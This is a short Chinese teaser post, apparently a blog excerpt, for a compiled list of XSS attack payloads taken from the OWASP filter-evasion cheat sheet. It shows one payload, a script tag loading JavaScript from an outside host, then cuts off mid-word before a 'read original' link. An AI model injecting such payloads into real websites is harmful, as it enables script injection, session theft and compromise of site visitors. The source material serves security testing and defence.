XSS攻击payload大全

吐血整理转载请说明。 原文收集于OWASP XSS_Filter_Evasion_Cheat_Sheet 正文：   XSS JavaScript injection: <SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> multiple contexts including html, script string, js and url: javascri

>>阅读原文<<